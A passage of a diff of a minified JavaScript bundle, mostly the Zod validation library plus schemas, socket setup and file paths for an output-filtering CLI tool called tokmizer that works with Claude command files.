a.status==="aborted"?C:(a.status==="dirty"&&n.dirty(),i(a.value),{status:n.value,value:a.value})}else return this._def.schema._parseAsync({data:r.data,path:r.path,parent:r}).then(a=>a.status==="aborted"?C:(a.status==="dirty"&&n.dirty(),i(a.value).then(()=>({status:n.value,value:a.value}))))}if(o.type==="transform")if(r.common.async===!1){let i=this._def.schema._parseSync({data:r.data,path:r.path,parent:r});if(!St(i))return C;let a=o.transform(i.value,s);if(a instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:n.value,value:a}}else return this._def.schema._parseAsync({data:r.data,path:r.path,parent:r}).then(i=>St(i)?Promise.resolve(o.transform(i.value,s)).then(a=>({status:n.value,value:a})):C);B.assertNever(o)}};Me.create=(e,t,n)=>new Me({schema:e,typeName:N.ZodEffects,effect:t,...F(n)});Me.createWithPreprocess=(e,t,n)=>new Me({schema:t,effect:{type:"preprocess",transform:e},typeName:N.ZodEffects,...F(n)});Ie=class extends H{_parse(t){return this._getType(t)===v.undefined?ce(void 0):this._def.innerType._parse(t)}unwrap(){return this._def.innerType}};Ie.create=(e,t)=>new Ie({innerType:e,typeName:N.ZodOptional,...F(t)});Xe=class extends H{_parse(t){return this._getType(t)===v.null?ce(null):this._def.innerType._parse(t)}unwrap(){return this._def.innerType}};Xe.create=(e,t)=>new Xe({innerType:e,typeName:N.ZodNullable,...F(t)});Yt=class extends H{_parse(t){let{ctx:n}=this._processInputParams(t),r=n.data;return n.parsedType===v.undefined&&(r=this._def.defaultValue()),this._def.innerType._parse({data:r,path:n.path,parent:n})}removeDefault(){return this._def.innerType}};Yt.create=(e,t)=>new Yt({innerType:e,typeName:N.ZodDefault,defaultValue:typeof t.default=="function"?t.default:()=>t.default,...F(t)});Xt=class extends H{_parse(t){let{ctx:n}=this._processInputParams(t),r={...n,common:{...n.common,issues:[]}},o=this._def.innerType._parse({data:r.data,path:r.path,parent:{...r}});return Sn(o)?o.then(s=>({status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new xe(r.common.issues)},input:r.data})})):{status:"valid",value:o.status==="valid"?o.value:this._def.catchValue({get error(){return new xe(r.common.issues)},input:r.data})}}removeCatch(){return this._def.innerType}};Xt.create=(e,t)=>new Xt({innerType:e,typeName:N.ZodCatch,catchValue:typeof t.catch=="function"?t.catch:()=>t.catch,...F(t)});An=class extends H{_parse(t){if(this._getType(t)!==v.nan){let r=this._getOrReturnCtx(t);return x(r,{code:w.invalid_type,expected:v.nan,received:r.parsedType}),C}return{status:"valid",value:t.data}}};An.create=e=>new An({typeName:N.ZodNaN,...F(e)});Ew=Symbol("zod_brand"),Dr=class extends H{_parse(t){let{ctx:n}=this._processInputParams(t),r=n.data;return this._def.type._parse({data:r,path:n.path,parent:n})}unwrap(){return this._def.type}},Fr=class e extends H{_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.common.async)return(async()=>{let s=await this._def.in._parseAsync({data:r.data,path:r.path,parent:r});return s.status==="aborted"?C:s.status==="dirty"?(n.dirty(),Lt(s.value)):this._def.out._parseAsync({data:s.value,path:r.path,parent:r})})();{let o=this._def.in._parseSync({data:r.data,path:r.path,parent:r});return o.status==="aborted"?C:o.status==="dirty"?(n.dirty(),{status:"dirty",value:o.value}):this._def.out._parseSync({data:o.value,path:r.path,parent:r})}}static create(t,n){return new e({in:t,out:n,typeName:N.ZodPipeline})}},Qt=class extends H{_parse(t){let n=this._def.innerType._parse(t),r=o=>(St(o)&&(o.value=Object.freeze(o.value)),o);return Sn(n)?n.then(o=>r(o)):r(n)}unwrap(){return this._def.innerType}};Qt.create=(e,t)=>new Qt({innerType:e,typeName:N.ZodReadonly,...F(t)});Tw={object:ve.lazycreate};(function(e){e.ZodString="ZodString",e.ZodNumber="ZodNumber",e.ZodNaN="ZodNaN",e.ZodBigInt="ZodBigInt",e.ZodBoolean="ZodBoolean",e.ZodDate="ZodDate",e.ZodSymbol="ZodSymbol",e.ZodUndefined="ZodUndefined",e.ZodNull="ZodNull",e.ZodAny="ZodAny",e.ZodUnknown="ZodUnknown",e.ZodNever="ZodNever",e.ZodVoid="ZodVoid",e.ZodArray="ZodArray",e.ZodObject="ZodObject",e.ZodUnion="ZodUnion",e.ZodDiscriminatedUnion="ZodDiscriminatedUnion",e.ZodIntersection="ZodIntersection",e.ZodTuple="ZodTuple",e.ZodRecord="ZodRecord",e.ZodMap="ZodMap",e.ZodSet="ZodSet",e.ZodFunction="ZodFunction",e.ZodLazy="ZodLazy",e.ZodLiteral="ZodLiteral",e.ZodEnum="ZodEnum",e.ZodEffects="ZodEffects",e.ZodNativeEnum="ZodNativeEnum",e.ZodOptional="ZodOptional",e.ZodNullable="ZodNullable",e.ZodDefault="ZodDefault",e.ZodCatch="ZodCatch",e.ZodPromise="ZodPromise",e.ZodBranded="ZodBranded",e.ZodPipeline="ZodPipeline",e.ZodReadonly="ZodReadonly"})(N||(N={}));Rw=(e,t={message:`Input not instance of ${e.name}`})=>Uu(n=>n instanceof e,t),Ju=xt.create,Gu=Ht.create,Aw=An.create,$w=jt.create,Zu=Bt.create,Cw=zt.create,Ow=vn.create,Pw=Ut.create,Iw=Jt.create,Nw=vt.create,Mw=at.create,Dw=Be.create,Fw=En.create,Lw=lt.create,Hw=ve.create,jw=ve.strictCreate,Bw=Gt.create,zw=rs.create,Uw=Zt.create,Jw=Ye.create,Gw=os.create,Zw=Tn.create,Kw=Rn.create,Ww=ss.create,Vw=Kt.create,qw=Wt.create,Yw=Vt.create,Xw=qt.create,Qw=Et.create,e0=Me.create,t0=Ie.create,n0=Xe.create,r0=Me.createWithPreprocess,o0=Fr.create,s0=()=>Ju().optional(),i0=()=>Gu().optional(),a0=()=>Zu().optional(),l0={string:(e=>xt.create({...e,coerce:!0})),number:(e=>Ht.create({...e,coerce:!0})),boolean:(e=>Bt.create({...e,coerce:!0})),bigint:(e=>jt.create({...e,coerce:!0})),date:(e=>zt.create({...e,coerce:!0}))},c0=C});var k={};ge(k,{BRAND:()=>Ew,DIRTY:()=>Lt,EMPTY_PATH:()=>rw,INVALID:()=>C,NEVER:()=>c0,OK:()=>ce,ParseStatus:()=>te,Schema:()=>H,ZodAny:()=>vt,ZodArray:()=>lt,ZodBigInt:()=>jt,ZodBoolean:()=>Bt,ZodBranded:()=>Dr,ZodCatch:()=>Xt,ZodDate:()=>zt,ZodDefault:()=>Yt,ZodDiscriminatedUnion:()=>rs,ZodEffects:()=>Me,ZodEnum:()=>Vt,ZodError:()=>xe,ZodFirstPartyTypeKind:()=>N,ZodFunction:()=>ss,ZodIntersection:()=>Zt,ZodIssueCode:()=>w,ZodLazy:()=>Kt,ZodLiteral:()=>Wt,ZodMap:()=>Tn,ZodNaN:()=>An,ZodNativeEnum:()=>qt,ZodNever:()=>Be,ZodNull:()=>Jt,ZodNullable:()=>Xe,ZodNumber:()=>Ht,ZodObject:()=>ve,ZodOptional:()=>Ie,ZodParsedType:()=>v,ZodPipeline:()=>Fr,ZodPromise:()=>Et,ZodReadonly:()=>Qt,ZodRecord:()=>os,ZodSchema:()=>H,ZodSet:()=>Rn,ZodString:()=>xt,ZodSymbol:()=>vn,ZodTransformer:()=>Me,ZodTuple:()=>Ye,ZodType:()=>H,ZodUndefined:()=>Ut,ZodUnion:()=>Gt,ZodUnknown:()=>at,ZodVoid:()=>En,addIssueToContext:()=>x,any:()=>Nw,array:()=>Lw,bigint:()=>$w,boolean:()=>Zu,coerce:()=>l0,custom:()=>Uu,date:()=>Cw,datetimeRegex:()=>Bu,defaultErrorMap:()=>st,discriminatedUnion:()=>zw,effect:()=>e0,enum:()=>Yw,function:()=>Ww,getErrorMap:()=>_n,getParsedType:()=>qe,instanceof:()=>Rw,intersection:()=>Uw,isAborted:()=>ts,isAsync:()=>Sn,isDirty:()=>ns,isValid:()=>St,late:()=>Tw,lazy:()=>Vw,literal:()=>qw,makeIssue:()=>Mr,map:()=>Zw,nan:()=>Aw,nativeEnum:()=>Xw,never:()=>Dw,null:()=>Iw,nullable:()=>n0,number:()=>Gu,object:()=>Hw,objectUtil:()=>la,oboolean:()=>a0,onumber:()=>i0,optional:()=>t0,ostring:()=>s0,pipeline:()=>o0,preprocess:()=>r0,promise:()=>Qw,quotelessJson:()=>ew,record:()=>Gw,set:()=>Kw,setErrorMap:()=>nw,strictObject:()=>jw,string:()=>Ju,symbol:()=>Ow,transformer:()=>e0,tuple:()=>Jw,undefined:()=>Pw,union:()=>Bw,unknown:()=>Mw,util:()=>B,void:()=>Fw});var pa=y(()=>{es();ua();Mu();Nr();Ku();Qo()});var en=y(()=>{pa();pa()});var Tt,Lr=y(()=>{"use strict";en();Tt=k.object({slug:k.string().min(1).max(64),description:k.string().max(255).optional(),match_command:k.string().min(1),priority:k.number().int().default(50),strip_ansi:k.boolean().default(!1),strip_lines_matching:k.array(k.string()).default([]),drop_lines_matching:k.array(k.string()).default([]),keep_failures:k.boolean().default(!1),strip_on_failure:k.boolean().default(!1),fold_passing:k.boolean().default(!1),fold_passing_threshold:k.number().int().positive().max(1e3).optional(),mask_abs_paths:k.boolean().default(!1),preserve_exact:k.boolean().default(!1),truncate_lines_at:k.number().int().positive().max(1e4).optional(),max_lines:k.number().int().positive().max(1e5).optional(),scale_with_level:k.boolean().default(!0),transform:k.string().max(64).optional(),transform_on_failure:k.boolean().default(!1),on_empty:k.string().max(255).optional()})});function Rt(e){return JSON.stringify(e)+$n}function*is(e){let t=0;for(;;){let n=e.indexOf($n,t);if(n<0)return;yield e.slice(t,n),t=n+1}}function Hr(){return`${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2,8)}`}var u0,f0,d0,p0,Wu,rM,oM,Vu,$n,qu,ma=y(()=>{"use strict";en();Lr();u0=k.object({id:k.string().min(1).max(64),op:k.literal("filter"),cmd:k.string().min(1).max(2048),plan:k.enum(["trial","smart","pro"]),allowed:k.array(k.string().min(1).max(64)).max(512).optional(),installId:k.string().min(1).max(64).optional()}),f0=k.object({id:k.string().min(1).max(64),op:k.literal("ping")}),d0=k.object({id:k.string().min(1).max(64),op:k.literal("shutdown"),installId:k.string().min(1).max(64)}),p0=k.object({id:k.string().min(1).max(64),op:k.literal("reload"),installId:k.string().min(1).max(64).optional()}),Wu=k.discriminatedUnion("op",[u0,f0,d0,p0]),rM=k.object({id:k.string(),ok:k.literal(!0),data:k.unknown()}),oM=k.object({id:k.string(),ok:k.literal(!1),err:k.string(),retryAfterMs:k.number().int().nonnegative().optional()}),Vu=k.object({filter:Tt.nullable(),cacheHit:k.boolean().optional()}),$n=`
4
- `,qu=64*1024});import Yu from"node:os";import{join as $e}from"node:path";function b(){return process.env.TOKMIZER_HOME||$e(Yu.homedir(),".tokmizer")}function jr(){return $e(b(),"install-id")}function as(){return $e(b(),"bundle-refresh.json")}function ls(){return $e(b(),"skills")}function De(e){return $e(ls(),`${e}.md`)}function At(){return $e(b(),"content-cache")}function Xu(){return $e(b(),"restore.json")}function ga(e){return $e(At(),e)}function cs(){return $e(b(),"reducer-context.txt")}function Br(){return $e(b(),"reducer-rules.json")}function ha(){return $e(b(),"managed-commands.json")}function us(){return process.env.TOKMIZER_CLAUDE_COMMANDS_DIR||$e(Yu.homedir(),".claude","commands")}function tn(e){return $e(us(),`${e}.md`)}var z=y(()=>{"use strict"});import m0 from"node:os";import{join as zr}from"node:path";import{existsSync as g0,statSync as h0,lstatSync as Qu,unlinkSync as y0,mkdirSync as k0,chmodSync as b0}from"node:fs";import{createHash as w0}from"node:crypto";function _0(e){let t=w0("sha256").update(b()).digest("hex").slice(0,8),n=zr(m0.tmpdir(),`tkr-${e}-${t}`),r=zr(n,"d.sock");if(Buffer.byteLength(r)>ya)throw new Error("Temporary directory path is too long for IPC");return ef(n,e),r}function S0(e,t){try{let n=Qu(e);return n.isDirectory()&&n.uid===t&&(n.mode&63)===0}catch{return!1}}function ef(e,t){k0(e,{recursive:!0,mode:448});let n=Qu(e);if(!n.isDirectory()||n.uid!==t)throw new Error("Unsafe IPC directory");b0(e,448)}function ct(){if(process.platform==="win32")return{path:`\\\\.\\pipe\\tokmizer-${process.env.USERNAME??"tokmizer"}`,isPipe:!0};let e=typeof process.getuid=="function"?process.getuid():0,t=process.env.XDG_RUNTIME_DIR;if(t&&S0(t,e)){let o=zr(t,`tokmizer-${e}.sock`);if(Buffer.byteLength(o)<=ya)return{path:o,isPipe:!1}}let n=zr(b(),"run"),r=zr(n,"daemon.sock");return Buffer.byteLength(r)>ya?{path:_0(e),isPipe:!1}:(ef(n,e),{path:r,isPipe:!1})}async function Ur(){let{path:e,isPipe:t}=ct();if(t||!g0(e))return;try{if(!h0(e).isSocket())return}catch{return}let n=await import("node:net");if(!await new Promise(o=>{let s=n.createConnection(e),i=a=>{s.removeAllListeners();try{s.destroy()}catch{}o(a)};s.once("connect",()=>i(!0)),s.once("error",a=>{let l=a.code;i(l!=="ECONNREFUSED"&&l!=="ENOENT")}),setTimeout(()=>i(!0),250)}))try{y0(e)}catch{}}function rf(){let e=process.ppid;if(!e||e===1)return!1;try{return process.kill(e,0),!0}catch{return!1}}var ya,tf,nf,fs=y(()=>{"use strict";z();ya=100;tf=3e4,nf=5*6e4});var lf={};ge(lf,{OutputVerbosity:()=>sf,ReducerLevel:()=>af,Settings:()=>nn,slugKey:()=>ue});import{createHash as x0}from"node:crypto";function ue(e){let t=of.get(e);return t||(t=x0("sha256").update(`tkr:${e}`).digest("hex").slice(0,16),of.set(e,t)),t}var sf,af,nn,of,ut=y(()=>{"use strict";en();sf=k.enum(["normal","compact","minimal"]),af=k.enum(["off","light","balanced","max"]),nn=k.object({enabled:k.boolean().default(!0),telemetryOptIn:k.boolean().default(!0),outputVerbosity:sf.default("compact"),reducer:af.default("off"),filters:k.object({enableAll:k.boolean().default(!0),disabled:k.array(k.string().max(64)).max(100).default([])}).default({enableAll:!0,disabled:[]})}),of=new Map});function Cn(e,t,n,r=t){let o=cf.get(r);o||(o=new Map,cf.set(r,o));let s=JSON.stringify([e,n?[...n].sort():null]),i=o.get(s);if(i!==void 0)return i;let a=null;for(let l of t)n&&!n.has(ue(l.slug))||l.matchRegex.test(e)&&(!a||l.priority>a.priority)&&(a=l);if(o.size>=v0){let l=o.keys().next().value;l&&o.delete(l)}return o.set(s,a),a}var cf,v0,ds=y(()=>{"use strict";ut();cf=new WeakMap,v0=256});import{join as ka}from"node:path";import{mkdir as E0,readFile as T0,writeFile as R0,unlink as uf,rename as A0}from"node:fs/promises";function ps(){try{let e=Intl.DateTimeFormat().resolvedOptions().timeZone;return e&&e.length>0?e:"Etc/UTC"}catch{return"Etc/UTC"}}function wa(e){return e?.dir??b()}async function V(e){let t=wa(e);try{let n=await T0(ka(t,ba),"utf8"),r=JSON.parse(n),o=r.timeZone;return{...r,lastSettingsRevision:r.lastSettingsRevision??0,get timeZone(){return o??=ps()},bonusActive:r.bonusActive??!1,...r.bonusResetAt!==void 0?{bonusResetAt:r.bonusResetAt}:{}}}catch{return null}}async function _a(e,t){let n=wa(t);await E0(n,{recursive:!0}),e.installedAt==null&&(e.installedAt=Math.floor(Date.now()/1e3));let r=ka(n,ba),o=`${r}.tmp-${process.pid}-${process.hrtime.bigint()}`;await R0(o,JSON.stringify(e,null,2),{mode:384});try{await A0(o,r)}catch(s){try{await uf(o)}catch{}throw s}}async function ff(e){let t=wa(e);try{await uf(ka(t,ba))}catch{return}}var ba,ze=y(()=>{"use strict";z();ba="state.json"});import{createRequire as $0}from"node:module";function O0(){let e="0.9.72";if(e)return e;for(let t of["../package.json","../../package.json"])try{let n=C0(t).version;if(typeof n=="string"&&n)return n}catch{}return"0.0.0"}function rn(e,t){if(!e||!t)return!1;let n=e.split(".").map(o=>parseInt(o,10)),r=t.split(".").map(o=>parseInt(o,10));for(let o=0;o<3;o+=1){let s=n[o]??0,i=r[o]??0;if(Number.isNaN(s)||Number.isNaN(i))return!1;if(s<i)return!0;if(s>i)return!1}return!1}var C0,he,$t=y(()=>{"use strict";C0=$0(import.meta.url);he=O0()});var df,pf=y(()=>{"use strict";df=`-----BEGIN PUBLIC KEY-----
3
+ var dw=Object.create;var la=Object.defineProperty;var mw=Object.getOwnPropertyDescriptor;var pw=Object.getOwnPropertyNames;var gw=Object.getPrototypeOf,hw=Object.prototype.hasOwnProperty;var St=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,n)=>(typeof require<"u"?require:t)[n]}):e)(function(e){if(typeof require<"u")return require.apply(this,arguments);throw Error('Dynamic require of "'+e+'" is not supported')});var y=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var Ae=(e,t)=>()=>{try{return t||e((t={exports:{}}).exports,t),t.exports}catch(n){throw t=0,n}},he=(e,t)=>{for(var n in t)la(e,n,{get:t[n],enumerable:!0})},yw=(e,t,n,r)=>{if(t&&typeof t=="object"||typeof t=="function")for(let o of pw(t))!hw.call(e,o)&&o!==n&&la(e,o,{get:()=>t[o],enumerable:!(r=mw(t,o))||r.enumerable});return e};var kw=(e,t,n)=>(n=e!=null?dw(gw(e)):{},yw(t||!e||!e.__esModule?la(n,"default",{value:e,enumerable:!0}):n,e));var z,ca,v,Xe,Mr=y(()=>{(function(e){e.assertEqual=o=>{};function t(o){}e.assertIs=t;function n(o){throw new Error}e.assertNever=n,e.arrayToEnum=o=>{let s={};for(let i of o)s[i]=i;return s},e.getValidEnumValues=o=>{let s=e.objectKeys(o).filter(a=>typeof o[o[a]]!="number"),i={};for(let a of s)i[a]=o[a];return e.objectValues(i)},e.objectValues=o=>e.objectKeys(o).map(function(s){return o[s]}),e.objectKeys=typeof Object.keys=="function"?o=>Object.keys(o):o=>{let s=[];for(let i in o)Object.prototype.hasOwnProperty.call(o,i)&&s.push(i);return s},e.find=(o,s)=>{for(let i of o)if(s(i))return i},e.isInteger=typeof Number.isInteger=="function"?o=>Number.isInteger(o):o=>typeof o=="number"&&Number.isFinite(o)&&Math.floor(o)===o;function r(o,s=" | "){return o.map(i=>typeof i=="string"?`'${i}'`:i).join(s)}e.joinValues=r,e.jsonStringifyReplacer=(o,s)=>typeof s=="bigint"?s.toString():s})(z||(z={}));(function(e){e.mergeShapes=(t,n)=>({...t,...n})})(ca||(ca={}));v=z.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),Xe=e=>{switch(typeof e){case"undefined":return v.undefined;case"string":return v.string;case"number":return Number.isNaN(e)?v.nan:v.number;case"boolean":return v.boolean;case"function":return v.function;case"bigint":return v.bigint;case"symbol":return v.symbol;case"object":return Array.isArray(e)?v.array:e===null?v.null:e.then&&typeof e.then=="function"&&e.catch&&typeof e.catch=="function"?v.promise:typeof Map<"u"&&e instanceof Map?v.map:typeof Set<"u"&&e instanceof Set?v.set:typeof Date<"u"&&e instanceof Date?v.date:v.object;default:return v.unknown}}});var _,bw,Se,Qo=y(()=>{Mr();_=z.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),bw=e=>JSON.stringify(e,null,2).replace(/"([^"]+)":/g,"$1:"),Se=class e extends Error{get errors(){return this.issues}constructor(t){super(),this.issues=[],this.addIssue=r=>{this.issues=[...this.issues,r]},this.addIssues=(r=[])=>{this.issues=[...this.issues,...r]};let n=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,n):this.__proto__=n,this.name="ZodError",this.issues=t}format(t){let n=t||function(s){return s.message},r={_errors:[]},o=s=>{for(let i of s.issues)if(i.code==="invalid_union")i.unionErrors.map(o);else if(i.code==="invalid_return_type")o(i.returnTypeError);else if(i.code==="invalid_arguments")o(i.argumentsError);else if(i.path.length===0)r._errors.push(n(i));else{let a=r,l=0;for(;l<i.path.length;){let c=i.path[l];l===i.path.length-1?(a[c]=a[c]||{_errors:[]},a[c]._errors.push(n(i))):a[c]=a[c]||{_errors:[]},a=a[c],l++}}};return o(this),r}static assert(t){if(!(t instanceof e))throw new Error(`Not a ZodError: ${t}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,z.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(t=n=>n.message){let n={},r=[];for(let o of this.issues)if(o.path.length>0){let s=o.path[0];n[s]=n[s]||[],n[s].push(t(o))}else r.push(t(o));return{formErrors:r,fieldErrors:n}}get formErrors(){return this.flatten()}};Se.create=e=>new Se(e)});var ww,it,ua=y(()=>{Qo();Mr();ww=(e,t)=>{let n;switch(e.code){case _.invalid_type:e.received===v.undefined?n="Required":n=`Expected ${e.expected}, received ${e.received}`;break;case _.invalid_literal:n=`Invalid literal value, expected ${JSON.stringify(e.expected,z.jsonStringifyReplacer)}`;break;case _.unrecognized_keys:n=`Unrecognized key(s) in object: ${z.joinValues(e.keys,", ")}`;break;case _.invalid_union:n="Invalid input";break;case _.invalid_union_discriminator:n=`Invalid discriminator value. Expected ${z.joinValues(e.options)}`;break;case _.invalid_enum_value:n=`Invalid enum value. Expected ${z.joinValues(e.options)}, received '${e.received}'`;break;case _.invalid_arguments:n="Invalid function arguments";break;case _.invalid_return_type:n="Invalid function return type";break;case _.invalid_date:n="Invalid date";break;case _.invalid_string:typeof e.validation=="object"?"includes"in e.validation?(n=`Invalid input: must include "${e.validation.includes}"`,typeof e.validation.position=="number"&&(n=`${n} at one or more positions greater than or equal to ${e.validation.position}`)):"startsWith"in e.validation?n=`Invalid input: must start with "${e.validation.startsWith}"`:"endsWith"in e.validation?n=`Invalid input: must end with "${e.validation.endsWith}"`:z.assertNever(e.validation):e.validation!=="regex"?n=`Invalid ${e.validation}`:n="Invalid";break;case _.too_small:e.type==="array"?n=`Array must contain ${e.exact?"exactly":e.inclusive?"at least":"more than"} ${e.minimum} element(s)`:e.type==="string"?n=`String must contain ${e.exact?"exactly":e.inclusive?"at least":"over"} ${e.minimum} character(s)`:e.type==="number"?n=`Number must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${e.minimum}`:e.type==="bigint"?n=`Number must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${e.minimum}`:e.type==="date"?n=`Date must be ${e.exact?"exactly equal to ":e.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(e.minimum))}`:n="Invalid input";break;case _.too_big:e.type==="array"?n=`Array must contain ${e.exact?"exactly":e.inclusive?"at most":"less than"} ${e.maximum} element(s)`:e.type==="string"?n=`String must contain ${e.exact?"exactly":e.inclusive?"at most":"under"} ${e.maximum} character(s)`:e.type==="number"?n=`Number must be ${e.exact?"exactly":e.inclusive?"less than or equal to":"less than"} ${e.maximum}`:e.type==="bigint"?n=`BigInt must be ${e.exact?"exactly":e.inclusive?"less than or equal to":"less than"} ${e.maximum}`:e.type==="date"?n=`Date must be ${e.exact?"exactly":e.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(e.maximum))}`:n="Invalid input";break;case _.custom:n="Invalid input";break;case _.invalid_intersection_types:n="Intersection results could not be merged";break;case _.not_multiple_of:n=`Number must be a multiple of ${e.multipleOf}`;break;case _.not_finite:n="Number must be finite";break;default:n=t.defaultError,z.assertNever(e)}return{message:n}},it=ww});function _w(e){Fu=e}function Sn(){return Fu}var Fu,es=y(()=>{ua();Fu=it});function E(e,t){let n=Sn(),r=Dr({issueData:t,data:e.data,path:e.path,errorMaps:[e.common.contextualErrorMap,e.schemaErrorMap,n,n===it?void 0:it].filter(o=>!!o)});e.common.issues.push(r)}var Dr,Sw,ne,$,Ht,ue,ts,ns,xt,xn,fa=y(()=>{es();ua();Dr=e=>{let{data:t,path:n,errorMaps:r,issueData:o}=e,s=[...n,...o.path||[]],i={...o,path:s};if(o.message!==void 0)return{...o,path:s,message:o.message};let a="",l=r.filter(c=>!!c).slice().reverse();for(let c of l)a=c(i,{data:t,defaultError:a}).message;return{...o,path:s,message:a}},Sw=[];ne=class e{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(t,n){let r=[];for(let o of n){if(o.status==="aborted")return $;o.status==="dirty"&&t.dirty(),r.push(o.value)}return{status:t.value,value:r}}static async mergeObjectAsync(t,n){let r=[];for(let o of n){let s=await o.key,i=await o.value;r.push({key:s,value:i})}return e.mergeObjectSync(t,r)}static mergeObjectSync(t,n){let r={};for(let o of n){let{key:s,value:i}=o;if(s.status==="aborted"||i.status==="aborted")return $;s.status==="dirty"&&t.dirty(),i.status==="dirty"&&t.dirty(),s.value!=="__proto__"&&(typeof i.value<"u"||o.alwaysSet)&&(r[s.value]=i.value)}return{status:t.value,value:r}}},$=Object.freeze({status:"aborted"}),Ht=e=>({status:"dirty",value:e}),ue=e=>({status:"valid",value:e}),ts=e=>e.status==="aborted",ns=e=>e.status==="dirty",xt=e=>e.status==="valid",xn=e=>typeof Promise<"u"&&e instanceof Promise});var Lu=y(()=>{});var R,Hu=y(()=>{(function(e){e.errToObj=t=>typeof t=="string"?{message:t}:t||{},e.toString=t=>typeof t=="string"?t:t?.message})(R||(R={}))});function D(e){if(!e)return{};let{errorMap:t,invalid_type_error:n,required_error:r,description:o}=e;if(t&&(n||r))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return t?{errorMap:t,description:o}:{errorMap:(i,a)=>{let{message:l}=e;return i.code==="invalid_enum_value"?{message:l??a.defaultError}:typeof a.data>"u"?{message:l??r??a.defaultError}:i.code!=="invalid_type"?{message:a.defaultError}:{message:l??n??a.defaultError}},description:o}}function Uu(e){let t="[0-5]\\d";e.precision?t=`${t}\\.\\d{${e.precision}}`:e.precision==null&&(t=`${t}(\\.\\d+)?`);let n=e.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${t})${n}`}function Hw(e){return new RegExp(`^${Uu(e)}$`)}function Ju(e){let t=`${zu}T${Uu(e)}`,n=[];return n.push(e.local?"Z?":"Z"),e.offset&&n.push("([+-]\\d{2}:?\\d{2})"),t=`${t}(${n.join("|")})`,new RegExp(`^${t}$`)}function jw(e,t){return!!((t==="v4"||!t)&&Iw.test(e)||(t==="v6"||!t)&&Nw.test(e))}function Bw(e,t){if(!Aw.test(e))return!1;try{let[n]=e.split(".");if(!n)return!1;let r=n.replace(/-/g,"+").replace(/_/g,"/").padEnd(n.length+(4-n.length%4)%4,"="),o=JSON.parse(atob(r));return!(typeof o!="object"||o===null||"typ"in o&&o?.typ!=="JWT"||!o.alg||t&&o.alg!==t)}catch{return!1}}function zw(e,t){return!!((t==="v4"||!t)&&Pw.test(e)||(t==="v6"||!t)&&Mw.test(e))}function Uw(e,t){let n=(e.toString().split(".")[1]||"").length,r=(t.toString().split(".")[1]||"").length,o=n>r?n:r,s=Number.parseInt(e.toFixed(o).replace(".","")),i=Number.parseInt(t.toFixed(o).replace(".",""));return s%i/10**o}function En(e){if(e instanceof xe){let t={};for(let n in e.shape){let r=e.shape[n];t[n]=Pe.create(En(r))}return new xe({...e._def,shape:()=>t})}else return e instanceof ct?new ct({...e._def,type:En(e.element)}):e instanceof Pe?Pe.create(En(e.unwrap())):e instanceof et?et.create(En(e.unwrap())):e instanceof Qe?Qe.create(e.items.map(t=>En(t))):e}function ma(e,t){let n=Xe(e),r=Xe(t);if(e===t)return{valid:!0,data:e};if(n===v.object&&r===v.object){let o=z.objectKeys(t),s=z.objectKeys(e).filter(a=>o.indexOf(a)!==-1),i={...e,...t};for(let a of s){let l=ma(e[a],t[a]);if(!l.valid)return{valid:!1};i[a]=l.data}return{valid:!0,data:i}}else if(n===v.array&&r===v.array){if(e.length!==t.length)return{valid:!1};let o=[];for(let s=0;s<e.length;s++){let i=e[s],a=t[s],l=ma(i,a);if(!l.valid)return{valid:!1};o.push(l.data)}return{valid:!0,data:o}}else return n===v.date&&r===v.date&&+e==+t?{valid:!0,data:e}:{valid:!1}}function Gu(e,t){return new qt({values:e,typeName:O.ZodEnum,...D(t)})}function Bu(e,t){let n=typeof e=="function"?e(t):typeof e=="string"?{message:e}:e;return typeof n=="string"?{message:n}:n}function Zu(e,t={},n){return e?vt.create().superRefine((r,o)=>{let s=e(r);if(s instanceof Promise)return s.then(i=>{if(!i){let a=Bu(t,r),l=a.fatal??n??!0;o.addIssue({code:"custom",...a,fatal:l})}});if(!s){let i=Bu(t,r),a=i.fatal??n??!0;o.addIssue({code:"custom",...i,fatal:a})}}):vt.create()}var Ne,ju,j,xw,Ew,vw,Tw,Rw,Aw,$w,Cw,Ow,da,Iw,Pw,Nw,Mw,Dw,Fw,zu,Lw,Et,jt,Bt,zt,Ut,vn,Jt,Gt,vt,lt,ze,Tn,ct,xe,Zt,at,rs,Kt,Qe,os,Rn,An,ss,Wt,Vt,qt,Yt,Tt,Me,Pe,et,Xt,Qt,$n,Jw,Fr,Lr,en,Gw,O,Zw,Ku,Wu,Kw,Ww,Vu,Vw,qw,Yw,Xw,Qw,e0,t0,n0,r0,o0,s0,i0,a0,l0,c0,u0,f0,d0,m0,p0,g0,h0,y0,k0,b0,w0,_0,S0,x0,E0,v0,T0,R0,A0,qu=y(()=>{Qo();es();Hu();fa();Mr();Ne=class{constructor(t,n,r,o){this._cachedPath=[],this.parent=t,this.data=n,this._path=r,this._key=o}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},ju=(e,t)=>{if(xt(t))return{success:!0,data:t.value};if(!e.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let n=new Se(e.common.issues);return 